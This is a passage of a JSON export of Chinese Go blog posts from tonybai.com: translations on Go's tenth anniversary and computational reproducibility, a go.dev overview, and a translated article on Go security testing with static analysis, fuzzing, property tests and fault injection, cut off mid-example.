href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e中部署应用程序时，你通常会定义三个组件：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一个\u003cstrong\u003eDeployment\u003c/strong\u003e – 这是一份用于创建你的应用程序的Pod副本的”食谱”；\u003c/li\u003e\n\u003cli\u003e一个\u003cstrong\u003eService\u003c/strong\u003e – 一个内部负载均衡器，用于将流量路由到内部的Pod上；\u003c/li\u003e\n\u003cli\u003e一个\u003cstrong\u003eIngress\u003c/strong\u003e – 描述如何流量应该如何从集群外部流入到集群内部的你的服务上。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e下面让我们用示意图快速总结一下要点。\u003c/p\u003e","title":"Kubernetes Deployment故障排除图解指南"},{"content":" 写在Go语言开源十周年的日子 by Rob Pike\n近期，有人对科学结果的可重现性进行了讨论，并得出了一些让人沮丧的结论。一项研究表明：这种可重现性只有62％。\n在某些领域，情况可能更糟。任何依赖于计算的结果都面临着其编程环境不断变化的巨大风险：十年前编写的程序如果没有更改，今天构建成功的机会几乎微乎其微，更不用说运行或正确运行了。\n这种担忧并不普遍，但正在增长。一个标志就是**十年重现性挑战**的创建，该挑战要求研究人员重新运行他们的旧代码（十年或以上，按计算标准非常旧的代码），并查看它是否仍然有效。\n您还能找到你的旧代码吗？ 这本身就是一个挑战。\n我们鼓励任何对计算有兴趣的研究人员接受挑战。上面的链接包含了有关此次挑战活动如何进行的详细信息。结果肯定令人大开眼界。即使您不提交结果，该练习也很有价值。\n尽管人们都希望结果不要像某些人所预期的那样令人沮丧，但也很少有人会期望获得令人满意的结果。值得花点时间考虑一下为什么计算可重现性是一个问题。计算方法(Computational method)会随着系统，语言，库，方法甚至部署技术的不断变化而偏离。某些更改是必要的，因为这样可以解决库设计不佳导致的安全问题。某些功能确实可以实现，例如转向网络服务器；但是很多改变可以归结为改变本身，也就是“进步”。\n本周是2009年11月10日宣布Go编程语言为开源项目的10周年纪念日，因此在本周初我就想到了这个话题。但也许更重要的日期是2012年3月28日，因为那是Go版本1.0宣布的日子。\nGo 1.0如此重要的原因在于，它带来了一个承诺，即用户的程序在不确定的将来无需任何修改便可以继续进行编译和运行。从变革考虑，这一承诺恰是反对变革的坚不可摧的堡垒。 Go 1.0远非完美无缺-许多事情本来可以做得更好，其中包括我们当时甚至还不满意的一些事情-但对稳定的承诺远远弥补了此类不足。\n为什么没有更多的计算项目像Go做出这样的保证？特别是编程语言？尽管没有Go程序可以参加十年挑战赛，但是如果参与七年挑战赛，与其他大多数语言相比，Go程序获得成功的机会要高得多。\n这不仅涉及承诺的兼容性，你还必须交付它。曾经有无数次提议对Go进行更改的建议可以很容易被接受，但是最终因会破坏现有程序，或者至少有这样做的可能而导致被拒绝。真正兼容性的保护墙是有约束力的，但它也有机会做一些事情。它促进了Go生态系统的发展，使社区得以繁荣发展，有助于确保可移植性，并且将许多程序的维护开销降低到几乎为零。\n随着对Go 2.0的努力不断发展，兼容性前景依然存在。它实在是太重要了以致于我们不能屈服，尤其是考虑到其到目前为止已经取得的进展。\n语义版本控制（semver）有帮助，但这还不够。必须将其部署在所有内容，包括的工具中，并严格遵守其兼容性属性。\n所以这是我自己的十年挑战：找出一些已有十年历史的代码，如果可以的话，立即尝试运行。做任何必要的使其重新构建并运行。如果很容易就做到，那就太好了。如果不是，请反思存在的困难，造成这些困难的变化以及这些变化是否值得。他们能得到更好的管理吗？\n系统和语言设计师面临的更大挑战：帮您的用户，并编纂您的兼容性规则。您可能不愿像Go开发人员那样僵化，但是您应该让您的社区清楚您提供的保证并兑现他们的保证。\n如果您愿意，也许十年后，我们可以再次进行此练习，并获得更好的结果。\n本文翻译自Rob Pike的文章：“Computational reproducibility: Some challenges”。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/11/19/computational-reproducibility-some-challenges/","summary":"\u003cblockquote\u003e\n\u003cp\u003e写在Go语言\u003ca href=\"https://tonybai.com/2019/11/09/go-opensource-10-years/\"\u003e开源十周年\u003c/a\u003e的日子 by \u003ca href=\"https://commandcenter.blogspot.com/\"\u003eRob Pike\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e近期，有人对科学结果的\u003ca href=\"https://www.nature.com/collections/prbfkwmwvz\"\u003e可重现性\u003c/a\u003e进行了讨论，并得出了一些让人沮丧的结论。\u003ca href=\"https://www.insidehighered.com/news/2018/08/30/study-raises-new-questions-about-reproducibility-research\"\u003e一项研究表明\u003c/a\u003e：这种可重现性只有62％。\u003c/p\u003e\n\u003cp\u003e在某些领域，情况可能更糟。任何依赖于计算的结果都面临着其编程环境不断变化的巨大风险：十年前编写的程序如果没有更改，今天构建成功的机会几乎微乎其微，更不用说运行或正确运行了。\u003c/p\u003e","title":"计算重现性：一些挑战"},{"content":"众所周知，Go是一个诞生于Google内部的编程语言，它在2009年11月份开源，在开源后立即受到了来自全世界开发人员的关注与贡献。但初期的Go语言的发展依旧是由Go核心团队的若干leader决定的，这种类“民主集中制”的方法延续了若干年。直到Go核心团队逐渐意识到Go应该更多倾听社区的声音，并让更多的gopher参与到Go项目的开发和贡献中来，甚至影响和决定一些语言特定的演化。于是Go团队开始特意为Go社区发展招兵买马。像Steve Francia、Francesc Campoy（后已经从google离职加入Dgraph）等都是在这个阶段加入Go team的。\nGo团队在很长一段时间里尤其重视与社区的互动，比如连续多年发起Go user调查、Gophercon大会后的Go team与社区的见面会和分组讨论、去GOPATH降低Go入门学习曲线、发布Go新品牌标识、添加Go module机制、改善官网等。\n在今天Go官博发文：“Go.dev: a new hub for Go developers”，正式发布go.dev站点，该站点被Go核心团队寄望于成为全世界Gopher开发人员的中心。它将告诉gopher（无论新手还是老油条）：谁在使用Go、用Go做什么、怎么学习Go(Go的各种学习资源、受欢迎的Go package都有哪些以及这些package的详细信息）。\ngo.dev发布之后，golang.org官网将更加聚焦go开源项目本身的开发、语言演化以及Go版本发布。而go.dev将成为gopher日常使用go语言的中心，包括go学习、go方案、go应用案例等。在这里我们简单探索一下go.dev这个站点究竟给gopher们带来了什么(这仅仅是go.dev的最小功能发布，后续go.dev可能会演化出更多特性、并根据社区反馈更好满足gopher需求)。\n一. 学习资源聚合 go.dev的一个重要功能就是帮助首次进入Go世界的开发人员学习Go。\n在go.dev的”learn”栏目下，我们在第一屏就看到了Go新手入门的三个步骤：安装、”Hello World”、Go tour以及更为详尽文档的入口：\n接下来，go.dev提供了这些年口碑较好、受到gopher欢迎的一些初级在线学习资源：\n像gobyexample.com、gophercises.com都在推荐行列。\nGo技术类书籍以及培训资源是gopher学习Go过程中不可缺少的：\nGo.dev在learn栏目下推荐了一些口碑不错的Go书籍，比如：Alan A. A. Donovan和Brian W. Kernighan合著的Go圣经：《The Go Programming Language》被在首位推荐。知名Go培训师William Kennedy的培训也被推荐给了大家。不过口碑不错的书籍《Go in action》我觉得也应该列入推荐行列。\n在Learn栏目最后，是全世界各地近期有关Go的meetup活动的schedule，Gopher可以得到最及时的meetup信息，并选择参加。\n二. 成熟解决方案参考 go.dev开辟的”solution”栏目旨在提升go的开发过程。栏目从“云原生和网络服务开发”、“命令行程序开发”、“web开发”以及Devops/Site Reliability四个方面提供聚合化的资料。以“云原生和网络服务开发”为例，Go.dev提供了这方面的典型项目和用户、使用方法、关键方案（一些书籍、成熟框架、客户端库以及其他资源）。\ngo.dev solution栏目还提供了一些Go的典型客户以及这些客户使用Go的典型案例：\n三、Package信息聚合中心 在go.dev的“explore”栏目下，我们看到的是Go package的信息中心：\n就如上图所示，这里提供了受欢迎的package和特色package的推荐列表，以及package信息的搜索功能。\n以logrus为例：\n在logrus包的主页，我们看到了有关logrus的各种信息，项目repo地址、最新版本号、module名字、开源许可证信息、文档（应该是集成了godoc返回的结果）、它的依赖、以及以它为依赖的项目(见下图)：\n四. 小结 go.dev目前处于最小产品状态(mvp)，从目前已经提供的栏目来看，go.dev能为gopher提供的帮助已经很全面了。后续go.dev站点的运营好坏（比如：信息更新是否及时等）将决定go.dev是否能达到其预期的期望。\ngo.dev目前似乎还缺少论坛功能。不过已有的golang-nuts、gobridge已经承担了这个角色，但如果能有一个官方论坛（一站式）就再好不过了。\ngo.dev在国内可以访问，就是速度有些慢（可能因地区而异）。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/11/14/what-the-godev-website-bring-to-gophers/","summary":"\u003cp\u003e众所周知，\u003ca href=\"https://tonybai.com/2017/09/24/go-ten-years-and-climbing/\"\u003eGo是一个诞生于Google内部的编程语言\u003c/a\u003e，它在\u003ca href=\"https://tonybai.com/2019/11/09/go-opensource-10-years/\"\u003e2009年11月份开源\u003c/a\u003e，在开源后立即受到了来自全世界开发人员的关注与贡献。但初期的Go语言的发展依旧是由Go核心团队的若干leader决定的，这种类“民主集中制”的方法延续了若干年。直到Go核心团队逐渐意识到Go应该更多倾听社区的声音，并让更多的gopher参与到Go项目的开发和贡献中来，甚至影响和决定一些语言特定的演化。于是Go团队开始特意为Go社区发展\u003cstrong\u003e招兵买马\u003c/strong\u003e。像\u003ca href=\"https://spf13.com/\"\u003eSteve Francia\u003c/a\u003e、\u003ca href=\"https://campoy.cat/\"\u003eFrancesc Campoy\u003c/a\u003e（后已经从google离职加入\u003ca href=\"https://dgraph.io/\"\u003eDgraph\u003c/a\u003e）等都是在这个阶段加入Go team的。\u003c/p\u003e\n\u003cp\u003eGo团队在很长一段时间里尤其重视与社区的互动，比如连续多年发起\u003ca href=\"https://blog.golang.org/survey2018-results\"\u003eGo user调查\u003c/a\u003e、\u003ca href=\"https://www.gophercon.com/\"\u003eGophercon大会\u003c/a\u003e后的Go team\u003ca href=\"https://blog.golang.org/contributor-workshop\"\u003e与社区的见面会和分组讨论\u003c/a\u003e、\u003ca href=\"https://tip.golang.org/doc/go1.8#gopath\"\u003e去GOPATH降低Go入门学习曲线\u003c/a\u003e、\u003ca href=\"https://blog.golang.org/go-brand\"\u003e发布Go新品牌标识\u003c/a\u003e、添加\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003eGo module机制\u003c/a\u003e、\u003ca href=\"https://golang.org/\"\u003e改善官网\u003c/a\u003e等。\u003c/p\u003e","title":"Go官方发布的go.dev给gopher们带来了什么"},{"content":"本文翻译自Go官方博客上Russ Cox代表Go核心团队发表的“Go Turns 10″一文。\n生日快乐，Go！\n这个周末，我们庆祝Go正式对外发布10周年，即Go作为开源编程语言和构建现代网络软件生态系统的10周年诞辰。\n为了纪念这一时刻，Go gopher的创建者Renee French(用下面的新作)描绘了这个令人愉快的场景：\n庆祝Go十周年让我回想起2009年11月上旬，那时我们正准备与世界分享Go。我们不知道会发生什么样的反应，是否有人会关心这种新生的小语言。我希望即使没有人最终使用Go，我们也至少会引起人们对一些好的想法的关注，尤其是Go的并发和接口，这些想法可能会影响后续语言。\n当看到人们对Go感到兴奋，我便查看了C、C++、Perl、Python和Ruby等流行语言的历史，并研究了每种语言花了多长时间才被广泛采用。例如，在我看来，Perl在1990年代中后期就已经完全形成了，带有CGI脚本和Web，但它于1987年首次发布。这种模式在我所研究的几乎所有语言中都重现了：在新语言真正腾飞之前，需要大约十年的时间进行安静、稳定的改进和传播。\n(当时的)我想知道：十年后的Go会在哪里？\n今天，我们可以回答这个问题：Go无处不在，全世界至少有100万开发人员在使用它。\nGo最初的目标是网络系统基础架构，现在我们称为云软件(cloud software)。如今，每个主要的云计算平台提供商都使用用Go语言编写的核心云基础架构，例如Docker，Etcdhttps://etcd.io/，Istio，Kubernetes，Prometheus和Terraform。Cloud Native Computing Foundation的大多数项目都是用Go编写的。无数公司也在使用Go将自己的工作迁移到云上，从初创公司从头开始构建到大企业更新软件堆栈。Go还发现对其的采用已经远远超出了最初的云计算目标，其使用范围从使用GoBot和TinyGo控制小型嵌入式系统到使用GRAIL进行大规模的大数据分析和机器学习进行癌症检测，以及介于两者之间的所有内容。\n这一切都说明Go超越了我们最疯狂的梦想。Go的成功不仅仅在于语言。这是关于语言，生态系统，尤其是社区的共同努力。\n在2009年，该语言是一个不错的主意，并带有一个实现的工作草图。那时候go命令还不存在：我们使用命令6g编译源码和6l链接二进制文件，并借助Makefile实现这个过程的自动化。我们在语句末尾键入分号。整个程序在垃圾回收期间停止，然后努力利用两个CPU核。当时Go只能在Linux和Mac，32位和64位x86和32位ARM上运行。\n在过去的十年中，在世界各地的Go开发人员的帮助下，我们已经将这一想法和草图发展为拥有出色的工具，生产级质量实现，先进的垃圾收集器和得到广泛移植的高效语言，Go支持12种操作系统和10种CPU体系结构。\n任何编程语言都需要蓬勃发展的生态系统的支持。开源发布是该生态系统的种子，但是自那时以来，许多人贡献了自己的时间和才干，用出色的教程，书籍，课程，博客文章，播客，工具，集成以及可重复使用的、支持go get的Go包来填充Go生态系统。没有这个生态系统的支持，Go永远不可能成功。\n当然，生态系统需要蓬勃发展的社区的支持。在2019年，全球有数十个Go（技术）会议，以及超过150个Go聚会组织和90000名参会人员。 GoBridge和Going Who Go通过指导，培训和会议奖学金帮助将新的声音带入Go社区。仅今年一年，他们就在讲习班上向数百名来自传统团体的人们进行了培训，在这些讲习班上，社区成员教导和指导刚接触Go的人。\n全球有超过一百万的Go开发人员，全球各地的公司都在寻求雇用更多的人。实际上，人们经常告诉我们，学习Go帮助他们获得了技术行业的第一份工作。最后，我们为Go感到最自豪的不是设计完善的功能或巧妙的代码，而是Go在这么多人的生活中产生的积极影响。我们旨在创建一种可以帮助我们成为更好的开发人员的语言，我们很高兴Go帮助了许多其他人。\n恰逢Go开源十周年的时刻，我希望每个人都花一点时间来庆祝Go社区以及我们所取得的一切。我代表Google的整个Go团队，感谢过去十年来加入我们的每个人。让我们开启下一个更加不可思议的十年吧！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/11/09/go-opensource-10-years/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"https://blog.golang.org/\"\u003eGo官方博客\u003c/a\u003e上\u003ca href=\"https://research.swtch.com/\"\u003eRuss Cox\u003c/a\u003e代表Go核心团队发表的\u003ca href=\"https://blog.golang.org/10years\"\u003e“Go Turns 10″\u003c/a\u003e一文。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e生日快乐，Go！\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e这个周末，我们庆祝\u003ca href=\"https://opensource.googleblog.com/2009/11/hey-ho-lets-go.html\"\u003eGo正式对外发布\u003c/a\u003e10周年，即Go作为开源编程语言和构建现代网络软件生态系统的10周年诞辰。\u003c/p\u003e\n\u003cp\u003e为了纪念这一时刻，\u003ca href=\"https://blog.golang.org/gopher\"\u003eGo gopher\u003c/a\u003e的创建者\u003ca href=\"https://twitter.com/reneefrench\"\u003eRenee French\u003c/a\u003e(用下面的新作)描绘了这个令人愉快的场景：\u003c/p\u003e","title":"Go语言开源十周年"},{"content":"在今年夏天我们对Kubernetes的评估成功之后，我们收到了大量Go项目的安全评估需求。为此，我们将在其他编译语言中使用过的安全评估技术和策略调整适配到多个Go项目中。\n我们从了解语言的设计开始，识别出开发人员可能无法完全理解语言语义特性的地方。多数这些被误解的语义来自我们向客户报告的调查结果以及对语言本身的独立研究。尽管不是详尽无遗，但其中一些问题领域包括作用域、协程、错误处理和依赖管理。值得注意的是，其中许多与运行时没有直接关系。默认情况下，Go运行时本身的设计是安全的，避免了很多类似C语言的漏洞。\n对根本原因有了更好地理解后，我们搜索了现有的能帮助我们快速有效检测客户端代码库的工具。结果我们找到一些静态和动态开源工具，其中包括了一些与Go无关的工具。为了配合这些工具使用，我们还确定了几种有助于检测的编译器配置。\n一. 静态分析 由于Go是一种编译型语言，因此编译器在生成二进制可执行文件之前就检测并杜绝了许多潜在的错误模式。虽然对于新的Go开发人员来说，这些编译器的输出比较烦，但是这些警告对于防止意外行为以及保持代码的清洁和可读性非常重要。\n静态分析趋向于捕获很多未包括在编译器错误和警告中的悬而未决的问题。在Go语言生态系统中，有许多不同的工具，例如go-vet、staticcheck和analysis包中的工具。这些工具通常会识别出诸如变量遮蔽、不安全的指针使用以及未使用的函数返回值之类的问题。调查这些工具显示警告的项目区域通常会发现可被利用(进行安全攻击)的功能特性。\n这些工具绝不是完美的。例如，go-vet可能会错过非常常见的问题，例如下面例子中这种。\npackage main import \u0026quot;fmt\u0026quot; func A() (bool, error) { return false, fmt.Errorf(\u0026quot;I get overridden!\u0026quot;) } func B() (bool, error) { return true, nil } func main() { aSuccess, err := A() bSuccess, err := B() if err != nil { fmt.Println(err) } fmt.Println(aSuccess, \u0026quot;:\u0026quot;, bSuccess) } 这个例子未使用A函数的err返回值，并在表达式左侧为bSuccess赋值期间立即重新对err做了赋值。编译器针对这种情况不会提供警告，而go-vet也不会检测到该问题；errcheck也不会。实际上，能成功识别这种情况的工具是前面提到的staticcheck和ineffassign，它们将A的错误返回值标识为未使用或无效。\n示例程序的输出以及errcheck，go-vet，staticcheck和ineffassign的检查结果如下：\n$ go run . false : true $ errcheck . $ go vet . $ staticcheck . main.go:5:50: error strings should not be capitalized (ST1005) main.go:5:50: error strings should not end with punctuation or a newline (ST1005) main.go:10:12: this value of err is never used (SA4006) $ ineffassign . main.go:10:12: ineffectual assignment to err 当您深入研究此示例时，您可能会想知道为什么编译器没有针对此问题发出警告。当程序中有未使用的变量时，Go编译器将出错，但此示例成功通过编译。这是由“短变量声明”的语义引起的。下面是短变量声明的语法规范：\nShortVarDecl = IdentifierList \u0026quot;:=\u0026quot; ExpressionList . 根据规范，短变量声明具有重新声明变量的特殊功能，只要：\n重新声明在多变量短声明中。 重新声明的变量在同一代码块或函数的参数列表中声明较早。 重新声明的变量与先前的声明具有相同的类型。 声明中至少有一个非空白变量(“_”)是新变量。 所有这些约束在上一个示例中均得到满足，从而防止了编译器针对此问题产生编译错误。\n许多工具都具有类似这样的极端情况，即它们在识别相关问题或识别问题但以不同的方式描述时均未成功。使问题复杂化的是，这些工具通常需要先构建Go源代码，然后才能执行分析。如果分析人员无法轻松构建代码库或其依赖项，这将使第三方安全评估变得复杂。\n尽管存在这些困难，但只要付出一点点努力，这些工具就可以很好地提示我们在项目中从何处查找问题。我们建议至少使用gosec、go-vet和staticcheck。对大多数代码库而言，这些工具具有良好的文档和人机工效。他们还提供了针对常见问题的多种检查（例如ineffassign或errcheck）。但是，要对特定类型的问题进行更深入的分析，可能必须使用更具体的分析器，直接针对SSA开发定制的工具或使用semmle。\n二. 动态分析 一旦执行了静态分析并检查了结果，动态分析技术通常是获得更深层结果的下一步。由于Go的内存安全性，动态分析通常发现的问题是导致硬崩溃(hard crash)或程序状态无效的问题。Go社区已经建立了各种工具和方法来帮助识别Go生态系统中这些类型的问题。此外，可以改造现有的与语言无关的工具以满足Go动态分析的需求，我们将在下面展示。\n1. 模糊测试 Go语言领域中最著名的动态测试工具可能是Dimitry Vyukov的go-fuzz了。该工具使您可以快速有效地实施模糊测试，并且它已经有了不错的战利品。更高级的用户在猎错过程中可能还会发现分布式的模糊测试和libFuzzer的支持非常有用。\nGoogle还发布了一个更原生的模糊器(fuzzer)，它拥有一个与上面的go-fuzz相似的名字：gofuzz。它通过初始化具有随机值的结构来帮助用户。与Dimitry的go-fuzz不同，Google的gofuzz不会生成夹具(harness)或协助提供存储崩溃时的输出信息、模糊输入或任何其他类型的信息。尽管这对于测试某些目标可能是不利的，但它使轻量级且可扩展的框架成为可能。\n为了简洁起见，我们请您参考各自自述文件中这两个工具的示例。\ngoogle/gofuzz#gofuzz dvyukov/go-fuzz#usage 2. 属性测试(property test) 译注：属性测试指编写对你的代码来说为真的逻辑语句（即“属性”），然后使用自动化工具来生成测试输入（一般来说，是指某种特定类型的随机生成输入数据），并观察程序接受该输入时属性是否保持不变。如果某个输入违反了某一条属性，则证明用户程序存在错误 – 摘自网络。\n与传统的模糊测试方法不同，Go的testing包（通常用于单元测试和集成测试）为Go函数的“黑盒测试” 提供了testing/quick子包。换句话说，它提供了属性测试的基本原语。给定一个函数和生成器，该包可用于构建夹具，以测试在给定输入生成器范围的情况下潜在的属性违规。以下示例是直接摘自官方文档。\nfunc TestOddMultipleOfThree(t *testing.T) { f := func(x int) bool { y := OddMultipleOfThree(x) return y%2 == 1 \u0026amp;\u0026amp; y%3 == 0 } if err := quick.Check(f, nil); err != nil { t.Error(err) } } 上面示例正在测试OddMultipleOfThree函数，其返回值应始终为3的奇数倍。如果不是，则f函数将返回false并将违反该属性。这是由quick.Check功能检测到的。\n虽然此包提供的功能对于属性测试的简单应用是可以接受的，但重要的属性通常不能很好地适合这种基本界面。为了解决这些缺点，诞生了leanovate/gopter框架。Gopter为常见的Go类型提供了各种各样的生成器，并且支持您创建与Gopter兼容的自定义生成器。通过gopter/commands子包还支持状态测试，这对于测试跨操作序列的属性是否有用很有有帮助。除此之外，当违反属性时，Gopter会缩小生成的输入。请参阅下面的输出中输入收缩的属性测试的简要示例。\nCompute结构的测试夹具：\npackage main_test import ( \u0026quot;github.com/leanovate/gopter\u0026quot; \u0026quot;github.com/leanovate/gopter/gen\u0026quot; \u0026quot;github.com/leanovate/gopter/prop\u0026quot; \u0026quot;math\u0026quot; \u0026quot;testing\u0026quot; ) type Compute struct { A uint32 B uint32 } func (c *Compute) CoerceInt () { c.A = c.A % 10; c.B = c.B % 10; } func (c Compute) Add () uint32 { return c.A + c.B } func (c Compute) Subtract () uint32 { return c.A - c.B } func (c Compute) Divide () uint32 { return c.A / c.B } func (c Compute) Multiply () uint32 { return c.A * c.B } func TestCompute(t *testing.T) { parameters := gopter.DefaultTestParameters() parameters.Rng.Seed(1234) // Just for this example to generate reproducible results properties := gopter.NewProperties(parameters) properties.Property(\u0026quot;Add should never fail.\u0026quot;, prop.ForAll( func(a uint32, b uint32) bool { inpCompute := Compute{A: a, B: b} inpCompute.CoerceInt() inpCompute.Add() return true }, gen.UInt32Range(0, math.MaxUint32), gen.UInt32Range(0, math.MaxUint32), )) properties.Property(\u0026quot;Subtract should never fail.\u0026quot;, prop.ForAll( func(a uint32, b uint32) bool { inpCompute := Compute{A: a, B: b} inpCompute.CoerceInt() inpCompute.Subtract() return true }, gen.UInt32Range(0, math.MaxUint32), gen.UInt32Range(0, math.MaxUint32), )) properties.Property(\u0026quot;Multiply should never fail.\u0026quot;, prop.ForAll( func(a uint32, b uint32) bool { inpCompute := Compute{A: a, B: b} inpCompute.CoerceInt() inpCompute.Multiply() return true }, gen.UInt32Range(0, math.MaxUint32), gen.UInt32Range(0, math.MaxUint32), )) properties.Property(\u0026quot;Divide should never fail.\u0026quot;, prop.ForAll( func(a uint32, b uint32) bool { inpCompute := Compute{A: a, B: b} inpCompute.CoerceInt() inpCompute.Divide() return true }, gen.UInt32Range(0, math.MaxUint32), gen.UInt32Range(0, math.MaxUint32), )) properties.TestingRun(t) } 执行测试夹具并观察属性测试的输出（除法失败）：\nuser@host:~/Desktop/gopter_math$ go test + Add should never fail.: OK, passed 100 tests. Elapsed time: 253.291µs + Subtract should never fail.: OK, passed 100 tests. Elapsed time: 203.55µs + Multiply should never fail.: OK, passed 100 tests. Elapsed time: 203.464µs ! Divide should never fail.: Error on property evaluation after 1 passed tests: Check paniced: runtime error: integer divide by zero goroutine 5 [running]: runtime/debug.Stack(0x5583a0, 0xc0000ccd80, 0xc00009d580) /usr/lib/go-1.12/src/runtime/debug/stack.go:24 +0x9d github.com/leanovate/gopter/prop.checkConditionFunc.func2.1(0xc00009d9c0) /home/user/go/src/github.com/leanovate/gopter/prop/check_condition_func.g o:43 +0xeb panic(0x554480, 0x6aa440) /usr/lib/go-1.12/src/runtime/panic.go:522 +0x1b5 _/home/user/Desktop/gopter_math_test.Compute.Divide(...) /home/user/Desktop/gopter_math/main_test.go:18 _/home/user/Desktop/gopter_math_test.TestCompute.func4(0x0, 0x0) /home/user/Desktop/gopter_math/main_test.go:63 +0x3d # snip for brevity; ARG_0: 0 ARG_0_ORIGINAL (1 shrinks): 117380812 ARG_1: 0 ARG_1_ORIGINAL (1 shrinks): 3287875120 Elapsed time: 183.113µs --- FAIL: TestCompute (0.00s) properties.go:57: failed with initial seed: 1568637945819043624 FAIL exit status 1 FAIL _/home/user/Desktop/gopter_math 0.004s 3. 故障注入 在攻击Go系统时，故障注入令人惊讶地有效。我们使用此方法发现的最常见错误包括对error类型的处理。因为error在Go中只是一种类型，所以当它返回时，它不会像panic语句那样自行改变程序的执行流程。我们通过强制生成来自最低级别(内核)的错误来识别此类错误。由于Go会生成静态二进制文件，因此必须在不使用LD_PRELOAD的情况下注入故障。我们的工具之一KRF使我们能够做到这一点。\n在我们最近的Kubernetes代码库评估中，我们使用KRF找到了一个vendored依赖深处的问题，只需通过随机为进程和其子进程发起的read和write系统调用制造故障。该技术对通常与底层系统交互的Kubelet十分有效。该错误是在ionice命令出现错误时触发的，未向STDOUT输出信息并向STDERR发送错误。记录错误后，将继续执行而不是将STDERR的错误返回给调用方。这导致STDOUT后续被索引，从而导致索引超出范围导致运行时panic。\n下面是导致kubelet panic的调用栈信息：\nE0320 19:31:54.493854 6450 fs.go:591] Failed to read from stdout for cmd [ionice -c3 nice -n 19 du -s /var/lib/docker/overlay2/bbfc9596c0b12fb31c70db5ffdb78f47af303247bea7b93eee2cbf9062e307d8/diff] - read |0: bad file descriptor panic: runtime error: index out of range goroutine 289 [running]: k8s.io/kubernetes/vendor/github.com/google/cadvisor/fs.GetDirDiskUsage(0xc001192c60, 0x5e, 0x1bf08eb000, 0x1, 0x0, 0xc0011a7188) /workspace/anago-v1.13.4-beta.0.55+c27b913fddd1a6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/fs/fs.go:600 +0xa86 k8s.io/kubernetes/vendor/github.com/google/cadvisor/fs.(*RealFsInfo).GetDirDiskUsage(0xc000bdbb60, 0xc001192c60, 0x5e, 0x1bf08eb000, 0x0, 0x0, 0x0) /workspace/anago-v1.13.4-beta.0.55+c27b913fddd1a6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/fs/fs.go:565 +0x89 k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common.(*realFsHandler).update(0xc000ee7560, 0x0, 0x0) /workspace/anago-v1.13.4-beta.0.55+c27b913fddd1a6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common/fsHandler.go:82 +0x36a k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common.(*realFsHandler).trackUsage(0xc000ee7560) /workspace/anago-v1.13.4-beta.0.55+c27b913fddd1a6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common/fsHandler.go:120 +0x13b created by k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common.(*realFsHandler).Start /workspace/anago-v1.13.4-beta.0.55+c27b913fddd1a6/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/common/fsHandler.go:142 +0x3f 下面例子：记录了STDERR日志但未将error返回调用方。\nstdoutb, souterr := 